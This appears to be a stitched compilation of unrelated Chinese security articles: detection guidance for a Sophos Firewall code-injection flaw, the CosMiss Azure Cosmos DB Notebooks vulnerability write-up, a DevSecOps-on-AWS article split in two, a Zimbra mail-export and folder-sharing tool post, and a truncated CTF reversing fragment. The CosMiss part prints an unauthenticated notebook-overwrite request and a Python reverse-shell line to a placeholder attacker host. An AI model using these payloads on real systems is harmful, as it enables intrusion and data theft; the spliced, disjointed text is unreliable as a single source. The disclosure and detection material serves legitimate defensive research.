此值項被視為包含映射到對象名稱的字段值的嵌套哈希。因此,如果最初提交的JSON對象包含一個名為value的項,其值設置為這個嵌套哈希中的一個值,則將使用eval函數解析關聯的對象名稱。由於原始請求中的_discriminator項可以設置為帶有值和對象名稱之間的任意映射的JSON對象,因此可以提交惡意對象並將其連接到eval函數中,從而導致代碼注入。

Sophos嘗試使用RequestCheckFilter Java對像對請求參數(包括JSON對象)執行輸入驗證。該過濾器檢測帶有非ASCII可打印字符的請求參數和JSON key。但是,仍然可以提交包含ASCII可打印字符的任意請求參數和JSON key,包括_discriminator項。

未經身份驗證的遠程攻擊者可以通過向目標服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致在服務器上運行任意Perl命令,從而導致以root用戶的權限執行遠程代碼。

源代碼下面的代碼片段摘自Sophos Firewall 19.0.1版本,並由趨勢科技添加了額外的註釋。

來自反編譯的Java類cyberoam.sessionmanagement.RequestCheckFilter:

來自Perl腳本CyberAPIArch.pm:

檢測攻擊為了檢測試圖利用該漏洞的攻擊,檢測設備必須監視並解析端口443/TCP和4444/TCP上的流量。請注意,流量是用SSL/TLS加密的。在繼續進行下一步驟之前,檢測設備必須對流量進行解密。

基於被監視的TCP端口,檢測設備必須對包含以下字符串的Request- URI的HTTP GET和POST請求進行檢測:

對Webadmin Controller終端(TCP端口4444)的請求可以使用多部分/表單數據編碼。

Multipart/form-data 由多個部分組成,每個部分都包含一個Content Disposition標頭。每個部分由一串字符分隔。分隔部分的字符串由Content-Type標題行上的boundary關鍵字定義,它被設置為' multipart/form-data '。 Content-Disposition標頭包含一個名稱參數,描述要返回的表單元素。每個部分中可能會出現額外的標題行。每一行由一個新的行序列分隔。標頭文件以兩個連續的新行結束。下面是表單元素的數據,如果對像被分離並存儲在一個單獨的文件中,則filename參數提供要使用的建議文件名。下面是一個文件項的Content-Disposition標頭示例,其中boundary關鍵字是' TMSR ':

如果發現對上述終端的請求,檢測設備必鬚根據Content-Type標頭中描述的編碼解析其參數,並蒐索json參數。如果發現,檢測設備必須使用以下任何合適的方法檢查json參數值。

方法1:如果檢測設備能夠解析JSON,它必須將JSON參數解析為JSON對象。檢測設備必須解析密鑰為字符串“_discriminator”的任何項(可能嵌套)。如果被發現,應該認為該流量是惡意的,因為利用該漏洞的攻擊很可能正在進行中。

方法2:如果檢測設備不具備解析JSON的能力,則必須將JSON參數作為字符串進行檢查,並檢查其是否包含字符串“_discriminator”。如果被發現,應該認為該流量是惡意的,因為利用該漏洞的攻擊很可能正在進行中。

需要注意的其他事項:

1.參數名稱和值可能是URL編碼的,必須在應用上述檢測之前進行解碼;

2.URI和參數名稱(“json”)和值(“_discriminator”)的字符串匹配必須以區分大小寫的方式執行;

3.HTTP標頭名稱(即“Content-Type”)和值(即“multipart/form data”)的字符串匹配必須以不區分大小寫的方式執行。

我們最近在Azure Cosmos DB中發現了一個很嚴重的漏洞,即Cosmos DB Notebooks缺少身份驗證檢查。我們將該漏洞命名為“CosMiss”。簡而言之,如果攻擊者知道Notebook的“forwardingId”(即Notebook Workspace的UUID),他們就擁有Notebook的全部權限,包括讀寫訪問權,以及修改運行Notebook的容器的文件系統的能力。只要修改容器文件系統(即用於臨時Notebook託管的專用工作區),我們就能夠在Notebook容器中實現遠程代碼執行(RCE)。

發現該漏洞後,Orca Research Pod立即將其報告給微軟安全響應中心(MSRC),後者在兩天內修復了這個嚴重問題,這比我們在Azure Synapse中發現的Synapse漏洞的響應速度要快得多。我們驗證了修正版,可以確認現在所有的Cosmos DB Notebook用戶在訪問Notebook之前都需要在請求頭中有Authorization(授權)令牌。我們要感謝微軟的合作和快速行動,以堵住該漏洞。

CosMiss漏洞簡介該漏洞存在於Azure Cosmos DB Jupyter Notebooks,這是微軟的快速NoSQL數據庫,廣泛用於微軟自己的電子商務平台和零售行業,用於存儲目錄數據和訂單處理管道中的事件來源。

Jupyter Notebooks內置於Azure Cosmos DB中,被開發人員用來執行常見任務,比如數據清理、數據探索、數據轉換和機器學習。我們在研究中發現,Cosmos DB Jupyter Notebooks缺少身份驗證檢查。

這是特別危險的,因為開發人員使用Cosmos DB Notebooks來創建代碼,經常含有高度敏感的信息,比如嵌入在代碼中的機密信息(secrets)和私鑰。

“CosMiss”漏洞允許未經身份驗證的用戶獲得對Azure Cosmos DB Notebooks的讀寫訪問權、注入代碼並覆蓋代碼,從而實施遠程代碼執行(RCE)。

然而,攻擊者只有在知道Notebook Workspace的UUID(又叫forwardingId)的情況下才能夠利用該漏洞。據我們所知,獲得forwardingId的唯一方法是,以經過驗證的用戶的身份打開Notebook。但是forwardingId並未被記錄為是機密信息,所以我們沒有任何理由相信用戶會把它當成機密信息。

2022年10月3日,Orca Security向微軟報告了該漏洞,微軟在兩天內修復了該漏洞,現在要求每個Notebook會話的請求頭中有授權令牌。

Cosmos DB Notebooks簡介CosMiss漏洞存在於Cosmos DB Jupyter Notebooks中。 Azure Cosmos DB是一個快速NoSQL數據庫。 Azure Cosmos DB包含Jupyter Notebooks,這是一種開源交互開發環境(IDE),以便開發人員創建、執行和共享含有實時代碼、方程、可視化和敘事文本的文檔。由於開發人員使用Cosmos DB Notebooks來創建代碼,因此可能含有高度敏感的信息,比如嵌入在代碼中的機密信息和私鑰。

利用CosMiss的概念證明為了演示該漏洞,我們使用Azure Table API和Serverless Capacity模式創建了Cosmos DB。該漏洞還在Core SQL api(推薦)和吞吐量配置的部署環境上進行了驗證。

Cosmos DB Data Explorer blade中的Notebooks功能讓客戶可以使用Jupyter功能(在Python、C#或其他運行時環境中)訪問和可視化其數據。此外,客戶使用該功能檢查來自Cosmos DB的數據,並檢查可以使用API進行集成的其他數據源。

1. 不需要授權頭當用戶創建新的Notebook後,phoenixServiceUrl創建下列端點,它將生成以下項目:

POST

/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-

Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-

dev/containerconnections/multicontainer HTTP/2

Host: tools.cosmos.azure.com

Content-Length: 88

Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'

Authorization: Bearer

eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5 OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW 9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5M S1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0 FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYj FhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmN hc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd 3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO

Content-Type: application/json

Sec-Ch-Ua-Mobile:0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Sec-Ch-Ua-Platform: 'macOS'

Accept: /

Origin: https://cosmos.azure.com

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://cosmos.azure.com/

Accept-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{'cosmosEndpoint':'https://orca-cosmos-dev.documents.azure.com:443/','poolId':'default'}

1.png

圖1

2.png

圖2

響應如下:

3.png

圖3

我們可以看到以下項目被創建:

1. 一個https://seasia.tools.cosmos.azure.com端點。

2. 唯一端口(端口範圍是10000-10009,後面有詳細介紹)。

3. 充當會話/Notebook ID的唯一值(UUIDv4),又叫forwardingId(上面例子中的ab83e033-1670-4bac-a186-32a1c0dddfbc)。

我們可以看到服務器在後台發送的以下端點:

4.png

圖4

我們目前的forwardingId似乎是27f180bc-cf93-4c42-b23e-f27a5085da57。

如果檢查我們的Notebook服務器(即https://seasia.tools.cosmos.azure.com:10007/)發送的各種請求,似乎所有發送到服務器的請求都含有授權頭,如下面截圖所示:

5.png

圖5

當我們試圖刪除授權頭並發送相同的請求時,我們看到無需授權頭即可列出同一台服務器的不同Notebook。

https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks

6.png

圖6

由於Cosmos DB Table和Python Query基於Jupyter(+Tornado服務器),我們可以查看作為平台一部分的各種端點:

https://github.com/jupyter-

server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ]

( https://github.com/jupyter-

server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ) # 36

7.png

圖7

在檢查各種Security Definitions(安全定義)時,我們可以假設默認情況下當前Security Configurations(安全配置)並沒有正確設置,因為需要授權方法用授權頭或查詢字符串來設置。

考慮到這一點,我們現在可以嘗試濫用這種錯誤配置來操縱各種Notebook和模板。

2. 覆蓋、刪除和注入代碼現在不妨嘗試覆蓋當前的Notebook數據。首先,我們在Notebook中編寫一些示例代碼。

8.png

圖8

然後我們保存它:

9.png

圖9

我們還可以通過Burp來檢查Notebook(Untitled.ipynb):

10.png

圖10

此外,我們可以從以下端點獲取kernel_id:

https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-

32a1c0dddfbc/api/kernels/

發送上述請求,我們將獲得以下id:

11.png

圖11

現在不妨使用以下的JSON攻擊載荷向Notebook本身發送PUT請求,從而覆蓋隨機的Notebook:

source parameter ⇒ “print(’Hacked’)”

text parameter ⇒ “print(’Hacked’)”

PUT/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2

Host: [seasia.tools.cosmos.azure.com:1000](

Content-Length: 983

Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'

Content-Type: application/json

Sec-Ch-Ua-Mobile:0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Sec-Ch-Ua-Platform: 'macOS'

Accept: */*

Origin: [

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: [

Accept-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{'kernel':{'id':null,'name':'python3'},'name':'',

'content': {'cells': [{'cell_type': 'code', 'execution_count': 1, 'id': '47bdbef0-ea14-4960-8789-7983e63312dd', 'metadata': {'collapsed': true, 'execution': {'iopub.execute_input': '2022-10-02T08:06:27.283Z', 'iopub.status.busy': '2022-10-02T08:06:27.277Z', 'iopub.status.idle': '2022-10-02T08:06:27.299Z', 'shell.execute_reply': '2022-10-02T08:06:27.292Z'}, 'jupyter': {'outputs_hidden': false, 'source_hidden': false}, 'nteract': {'transient': {'deleting': false}}, 'trusted': true}, 'outputs': [{'name': 'stdout', 'output_type': 'stream', 'text': 'hacked\\n'}], 'source': 'print('Hacked!')'}], 'metadata': {'language_info': {'file_extension': 'ipynb', 'mimetype': 'application/json', 'name': 'python', 'version': '3.7'}, 'nteract': {'version': 'dataExplorer 1.0'}}, 'nbformat': 4, 'nbformat_minor': 5}, 'format': 'json', 'mimetype': null, 'size': 993, 'writable': true, 'path':'notebooks/Untitled.ipynb','type':'notebook'}

12.png

圖12

然後,我們通過退出Notebook本身(點擊X符號)來檢查更新後的Notebook,然後通過點擊Tables API標題右側的Refresh(刷新)按鈕來刷新表/Notebook:

13.png

圖13

我們可以看到,通過將精心設計的攻擊載荷直接發送到服務器,Notebook中的代碼被覆蓋了。我們還設法檢索任何Notebook,刪除並向其中註入代碼,不管我們是連接到Azure,還是只是一個身份未經認證的用戶。

14.png

圖14

在下面的視頻中,我們演示上述概念證明。

15.png

圖15

3. 遠程代碼執行(RCE)當通過Azure UI加載Cosmos Data Explorer時,Explorer儀表板由以下文件構建:

/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py

現在,由於我們成功地覆蓋了/home/cosmosuser目錄中的任何文件,我們可以操縱該文件,並向其添加以下行:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\'ATTACKER_ID\\',ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\'/bin/bash\\')

這樣一來,當Data Explorer加載時,整個python代碼的這部分也將被執行,並最終將通過客戶機為任何遠程攻擊者提供反向shell。

16.png

圖16

通過發送含有文件原始內容+ RCE行的PUT請求來修改文件:

17.png

圖17

刷新Data Explorer頁面後,我們應該得到一個反向shell。

18.png

圖18

以下視頻演示了這個RCE:

19.png

圖19

許多安全領導者對實施DevOps 持懷疑態度,儘管它有很多好處,包括快速軟件交付和提高代碼質量。如果您發布的軟件存在漏洞,那麼您的持續交付週期有多快都沒有關係。網絡安全是DevOps 極度缺乏的一件事。

這就是DevSecOps 發揮作用的地方——一種將安全性轉移到軟件開發生命週期(SDLC) 中的開發方法。 DevSecOps 強調在最早階段實施安全檢查的重要性。

在本文中,我們向您展示了為DevOps 增加安全性的好處、採用DevSecOps 的主要挑戰,以及使用AWS 服務實施DevSecOps 的最佳實踐。

為什麼DevOps 不安全? DevOps是工具、實踐和文化理念的結合,可讓IT 公司減少軟件開發所需的時間。這是通過打破開發、測試和運營之間的傳統障礙來實現的。 DevOps 實踐包括軟件開發過程中所有活動的自動化和監控,使公司能夠實現持續集成(CI) 和持續交付(CD)。您可以結合DevOps 和區塊鏈、人工智能、嵌入式、移動和其他類型的技術。

構建高效的CI/CD 管道可以大大加快開發活動和產品發布速度,從而為解決方案供應商節省時間和金錢。

然而,如今IT 公司實施更快、更具創新性的軟件開發方法還不夠。他們還需要牢記網絡安全。按照設計,DevOps 缺乏安全性有以下幾個原因:

image.png

DevOps 的安全挑戰

傳統上,信息安全是在軟件開發週期的最後階段處理的,結果是檢測需要在嚴格的時間限制內消除的安全漏洞。對於DevOps 方法,以傳統方式保護每個版本需要付出太多努力。

DevOps 通常通過雲優先架構和容器化來實現。這些都創造了更廣泛的攻擊面和新的潛在漏洞。

必須在每次迭代期間更新或至少檢查安全機制。然而,發布團隊有時會為了趕上交付期限而忽略這些建議。

幸運的是,我們有DevSecOps:一種左移思維,其中安全是共同的責任,因此開發人員和IT 運營專家都牢記安全要求。讓我們看看DevSecOps 與DevOps 有何不同以及它提供了哪些好處。

什麼是DevSecOps? DevSecOps在軟件開發的早期階段實施持續和自動化的安全機制,並確保整個週期的安全。安全不再是單獨部門的職能,而是團隊文化和實踐中不可或缺的一部分。

將安全性集成到您的DevOps 團隊可幫助您的公司實現以下優勢:

image.png

應用DevSecOps 方法的好處

DevSecOps 使您可以將更多時間用於增加客戶價值,而將更少的時間和金錢用於修復在交付過程後期或產品使用過程中發現的漏洞。但左移並非沒有局限性。讓我們來看看您可能遇到的主要挑戰。

實施DevSecOps 的挑戰將安全性集成到DevOps 中需要一些組織顯著轉變其工作流程。這不僅會影響網絡安全系統,還會影響組織和業務流程。這樣的變化總會帶來無數的挑戰,最好提前做好準備。讓我們探討四大挑戰。

image.png

實施DevSecOps 的4 大挑戰

1.改變既定的企業文化組織遇到的最常見問題是採用DevSecOps 所需的文化變革。一直使用傳統或敏捷開發方法的人通常難以適應完全不同的方法。

當轉向DevSecOps 時,您的團隊必須學習很多關於網絡安全的知識,對工作問題變得更加開放,並將安全實踐作為他們日常工作的一部分。許多組織低估了這些變化的挑戰性,因此未能充分實施DevSecOps。在向DevSecOps 過渡期間,確保為您的團隊提供足夠的知識、支持和領導。

2. 結合敏捷和DevSecOps另一個問題是一些組織試圖用DevSecOps 完全替代敏捷工作流。當這種嘗試失敗時,他們決定DevSecOps 不適合他們。這裡真正的挑戰是以最有效的方式為您的組織結合敏捷和DevSecOps。

DevSecOps 可以補充敏捷。雖然敏捷在開發過程中引入了協作、迭代和持續反饋,但DevSecOps 可以加強QA 和交付過程,同時確保您的代碼始終安全。

3.遵守政府規定對於必須遵守嚴格網絡安全要求的行業組織而言,實施DevSecOps 更加困難:醫療保健、製造、金融服務等。這些行業的法規不夠靈活,無法讓公司全面引入DevSecOps 實踐。

這就是組織通常必須將靈活且安全的DevOps 與傳統開發方法相結合的原因。美國食品和藥物管理局等一些政府機構確實允許公司以他們想要的任何方式改變他們的開發實踐,前提是他們能夠確保高水平的安全性並重新認證他們的工作流程。

4. 集成傳統、DevOps 和DevSecOps 工具採用DevSecOps 也存在技術挑戰。將防病毒軟件和防火牆、DevOps 和DevSecOps 工具等傳統安全工具集成到一個系統中需要對組織的基礎架構進行重大更改。 CI/CD 管道、二進制庫、靜態應用程序安全測試、軟件組成分析和許多其他工具通常來自不同的供應商,但您需要讓它們協同工作。

克服這一挑戰的最佳方法是全面規劃DevSecOps 工具的實施,並逐一部署您選擇的工具。一次部署和配置它們更快,看起來更方便,但實際上它會造成混亂,並導致安全漏洞。

研究這些挑戰並規劃解決這些挑戰的方法是順利實施DevSecOps 的關鍵。現在,我們可以看看必須具備的安全實踐和機制,以確保您的DevOps 流程是安全的。下一節我們主要講述將安全性集成到DevOps 中的最佳實踐。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的功能,實現郵件導出和文件夾共享,分享開發細節。

0x01 簡介本文將要介紹以下內容:

郵件導出

文件夾共享

開源代碼

0x02 郵件導出Zimbra支持導出當前郵箱的所有郵件,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Import/Export,如下圖

1.png

接下來,通過抓包的方式分析實現流程,進而使用程序實現這部分功能

1.默認配置導出郵件默認配置下,會導出所有郵件,以壓縮包的形式保存

訪問URL示例:

2.png

參數解析:

admin%40test.com為郵箱用戶,可以用~替代

filename=All-2022-07-27-181056為存在記錄時保存的文件名,2022-07-27-181056對應的時間格式為年-月-日-時分秒,時間為帶時區的時間,需要計算時差

emptyname=No+Data+to+Export為空記錄時保存的文件名

在程序實現上,需要同Web操作的格式保持一致,代碼細節:

(1)構造保存的文件名

3.png

(2)保存文件

保存文件時使用binary寫入

4.png

實現代碼示例:

5.png

2.加入篩選條件導出郵件高級選項下,可以添加篩選條件,導出特定的郵件

訪問URL示例:

6.png

參數解析,新增加了以下參數:

start=1658818800000為篩選的起始時間,格式為unix時間戳,沒有額外計算時差

end=1658991600000為篩選的結束時間,格式為unix時間戳,沒有額外計算時差

query=content%3Apassword為篩選的關鍵詞,作用是查詢正文中帶有password關鍵詞的郵件

篩選條件的語法可參考:https://wiki.zimbra.com/wiki/Zimbra_Web_Client_Search_Tips

代碼實現細節:

(1)時間格式轉換的示例代碼

時間轉換成秒:

7.png秒轉換成時間:

8.png

實現代碼示例:

9.png 10.png 11.png

0x03 文件夾共享1.流程分析Zimbra支持將當前郵箱的文件夾共享至其他用戶,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Sharing,如下圖

12.png

文件夾共享可選擇以下三個文件夾:

Inbox

Sent

Junk

如下圖

13.png

設置共享屬性如下圖

需要區別以下設置:

(1)Role

Viewer只能查看郵件

Manager可以修改郵件

(2)Message

Send stanard message,在設置後會向目的郵箱發送一份確認郵件

Do not send mail about this share,不發送確認郵件

這裡可以通過抓包分析每項設置對應的具體數值

示例數據包1:

14.png

格式分析:

(1)

id='2'表示Inbox

Sent對應id='5'

Junk對應id='4'

通過測試,還可以指定Drafts,對應id='6'

(2)

d='test1@test.com'表示可訪問共享的郵箱

perm='r'表示權限為可讀,對應Viewer

Manager對應的配置為perm='rwidx',表示權限為讀、寫、添加和刪除

如果設置了Send stanard message,在設置後會向目的郵箱(例如test1@test.com)發送一份確認郵件,數據包格式示例:

15.png

郵箱test1@test.com會收到一份郵件,確認是否接受文件夾共享

2.代碼實現(1)添加文件共享

需要指定目標郵箱和共享文件夾

添加文件共享成功的響應中返回共享文件夾對應的zid

實現代碼示例:

16.png 17.png 18.png

(2)發送文件共享請求

需要指定目標郵箱

實現代碼示例:

19.png 20.png

這裡需要注意,只有在添加文件共享後,發送文件共享請求才能成功返回200,否則返回500,提示invalid request: no matching grant

(3)刪除文件共享

需要指定目標郵箱對應的zid和共享文件夾,zid可在添加文件共享成功的響應中獲得

實現代碼示例:

21.png 22.png

0x04 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加以下五個功能:

AddShare:添加文件夾共享,默認權限為rwidx

ExportMail:導出帶有搜索條件的郵件,可指定日期和關鍵詞

ExportMailAll:導出所有郵件

RemoveShare:刪除當前郵箱的文件夾共享

SendShareNotification:在添加文件夾共享後,向目標郵箱發送一封確認郵件

0x05 小結本文擴充了Zimbra SOAP API的調用方法,添加五個實用功能,實現方法和思路還可在XSS漏洞上進行測試。

Re 

Emoji Connect

是Excel的插件,开始玩之后会初始化一个4848的矩阵,每个格子里有一个emoji,然后每次点击两个格子,如果两个格子里的emoji相同,就会消除这两个格子。一开始以为是消星星一类的三个格子的消除,但看game的逻辑每次只替换两个,所以确实是连连看。然后flag的逻辑就是每次消除的时候减去格子的 行列,下标是用神奇的方法从unicode转过去的,我这里直接用矩阵里emoji的最小值做下标偏移了

dat = '''😈 😑  😔  😎  😌  😆  😤  😮  😮  😟  😪  😂  😢  😐  😩  😙  😭  😎  😬  😅  😉  😦  😛  😥  😜  😤  😑  😨  😝  😗  😛  😁  😑  😏  😜  😠  😤  😋  😀  😁  😅  😖  😑  😡  😒  😇  😄  😛
😊 😈 😂 😘 😬 😩 😥 😬 😈 😫 😅 😊 😒 😦 😑 😅 😙 😔 😟 😩 😬 😐 😑 😮 😔 😥 😧 😖 😇 😦 😉 😈 😘 😯 😣 😉 😓 😞 😃 😌 😨 😖 😮 😙 😙 😫 😋 😣
😜 😉 😇 😮 😝 😞 😒 😪 😂 😬 😯 😃 😄 😘 😪 😛 😤 😑 😦 😯 😗 😋 😡 😤 😊 😨 😉 😬 😍 😏 😨 😔 😝 😀 😡 😝 😅 😧 😋 😔 😨 😗 😍 😨 😝 😈 😫 😤
😍 😍 😌 😅 😫 😏 😫 😗 😢 😇 😃 😍 😮 😃 😋 😮 😢 😦 😭 😢 😢 😔 😧 😥 😢 😁 😠 😀 😙 😅 😑 😕 😌 😊 😞 😕 😑 😡 😔 😘 😙 😂 😝 😬 😜 😕 😌 😞
😓 😖 😏 😑 😇 😦 😯 😊 😕 😃 😬 😏 😉 😯 😦 😩 😊 😛 😟 😨 😛 😥 😗 😄 😊 😀 😉 😇 😧 😅 😨 😚 😖 😑 😅 😚 😄 😅 😃 😤 😒 😉 😌 😭 😘 😊 😅 😄
😎 😆 😁 😯 😟 😌

使用AWS 的DevSecOps 簡介:如何將安全性集成到DevOps 中(上)

將安全性集成到DevOps 中的最佳實踐DevSecOps 的主要任務是通過確保SDLC 早期階段的安全編碼實踐,將安全性集成到DevOps 中。雖然需要自動化,但DevSecOps 不僅僅與此有關。首先,應培訓開發人員和運營專家以了解黑客的邏輯並知道如何通過安全措施來防止攻擊。只有這樣,他們才能正確使用旨在發現缺陷並確保開發和測試過程中安全的工具。

image.png

成功採用DevSecOps 的6 個最佳實踐

1. 培養安全性和開放性作為組織文化的一部分如果您想將安全性集成到您的DevOps 團隊中,第一步是通過以下活動改變您的文化:

建立知識庫。培訓開發人員和QA 專家,確保他們了解安全編碼和測試的基本原則,從而能夠負責滿足安全要求。

促進開放。鼓勵通常獨立工作的DevOps 和安全部門之間的開放式溝通和協作。確保安全指標和儀表闆對開發人員透明、可用且易於理解,以便他們可以應用它們來檢查代碼質量。

打造安全冠軍。聘請了解傳統DevOps 團隊安全性的專業安全人員,並可以指導您的團隊以確保他們在向DevSecOps 過渡期間具有安全意識。安全冠軍應該了解行業最佳實踐,並參與DevSecOps 諮詢,了解如何為軟件開發調整安全性。

但是,不要過度使用這種做法。您的員工不需要成為網絡安全專家——他們只需要足夠的知識和培訓來確保其職責範圍內的安全。

2.獲得可靠的版本控制系統短衝刺和持續交付要求開發人員在每個衝刺中對應用程序的代碼進行許多更改。您必須能夠跟踪這些更改,查看更改的內容和更改者,並查看他們是否有權這樣做。您還需要能夠快速回滾更改並恢復到以前版本的代碼。

這就是為什麼在將DevSecOps 實踐實施到SDLC 之前部署版本控制系統很重要。選擇具有以下功能的版本控制系統:

授權和身份驗證機制

開發人員的數字簽名

多樣化的變更控制技術

代碼版本的元數據集合

應用程序生命週期管理工具

您還可以選擇一個分佈式版本控制系統來鏡像軟件的代碼庫和開發人員機器上的所有代碼更改。

3. 構建DevSecOps 流程構建安全的CI/CD 管道需要在開發過程的每個階段添加安全檢查和掃描。讓我們看看在每次迭代期間您可以採取哪些措施來保護您的軟件:

image.png要在您的SDLC 中實施的關鍵DevSecOps 活動

1、軟件規劃中的安全措施除了收集功能性和非功能性軟件需求、產品特性和潛在用例之外,您還需要研究安全需求、驗收測試標準和威脅模型。從軟件規劃階段開始,還應考慮潛在的安全問題。

在規劃階段,您可以使用威脅建模和風險評估工具來了解應用程序的風險級別。如果您的應用程序將處理敏感數據或直接訪問互聯網,您可能需要構建更深層次的威脅模型。此外,如果您將任何數據用於應用程序測試,請考慮如何將其匿名化以避免隱私問題。

2、軟件開發過程中的安全措施在開發階段,DevSecOps 要求您的團隊遵循安全編碼和審查軟件設計和代碼的原則。但是,所有這些測試和檢查不應減慢開發過程。這就是為什麼您需要使盡可能多的流程自動化。

您還需要集成自動化的動態和靜態代碼測試,以便在軟件發布之前檢測安全漏洞。這些自主掃描不需要安全人員的干預,並且可以將結果直接添加到錯誤跟踪系統中。

作為此類測試的替代方法,您可以讓開發人員使用輕量級工具在其集成開發環境中進行快速代碼掃描。使自動掃描和安全測試軟件成為持續集成測試工具鏈的組成部分有助於顯著減少安全漏洞的數量。

3.持續的安全檢查DevSecOps 從業者應該通過保護他們的環境來保護他們的代碼。雖然開發人員經常使用開源應用程序和預構建的庫、容器和框架,但他們需要在使用它們之前消除這些組件中的任何已知關鍵漏洞。

這就是為什麼您需要對所有系統映像的所有內容進行漏洞檢查,包括:

雲環境

虛擬機

集裝箱

作業系統

其他軟件

持續集成應包括檢查所有操作系統和應用程序平台設置的配置是否符合安全最佳實踐。

雖然容器使用通用操作系統,但對它們的任何攻擊都可能會危及您的容器。因此,最佳實踐是在相似信任級別的工作負載上使用容器。然而,為了更強的隔離,最好使用管理程序或物理分離。

4. 迭代優先於完美傳統的開發方法告訴我們在發佈軟件之前解決所有問題。隨著DevSecOps 方法中的發布頻率,完善您的代碼直到它完美可能非常耗時,甚至可能導致在發布之前進行處理——這反過來又會導致在下一個衝刺期間花費更多的時間來修復和打補丁。

提前規劃和迭代您的工作是成功實施DevSecOps 的關鍵。因此,與其試圖在一次沖刺中達到完美,不如評估發現的安全問題,決定必須盡快解決哪些問題,並將其他問題留到未來的迭代中。

持續的風險評估和威脅監控可以幫助您決定需要盡快修復哪些漏洞。

5. 使用安全即代碼方法自動化流程雖然DevOps 使用可編程基礎設施即代碼,但安全措施也應根據這一原則進行調整。安全編碼原則應適用於腳本、模板、配方和藍圖的自動配置。安全即代碼可幫助您自動應用這些原則。

安全即代碼是一種允許開發人員在代碼中定義安全要求、策略和最佳實踐的實踐。然後,他們可以將此代碼集成到CI/CD 管道中,自動執行安全測試、檢查和掃描。使用安全即代碼,您可以自動化:

靜態和動態代碼分析

某些滲透測試活動

合規檢查

掃描漏洞和風險,例如嵌入式憑證、API 密鑰和加密密鑰

向開發人員提供反饋

image.png為什麼實施安全即代碼方法?

將您的安全需求描述為代碼需要大量的謹慎和專業知識,因為存在通過所有CI/CD 管道使用此代碼部署錯誤配置和漏洞的風險。這就是為什麼您需要在部署之前使用結對編程或進行代碼審查。此外,最好不要自動執行風險評估和優先級排序任務,或者至少在採取行動之前先審查它們的結果。

6. 管理對DevSecOps 工具的訪問傳統的靜態訪問控制工具不足以保護DevSecOps 環境中的敏感資源。瞬息萬變的環境和模糊的用戶職責範圍使得很難使用基於角色的訪問管理工具一勞永逸地配置用戶訪問權限。

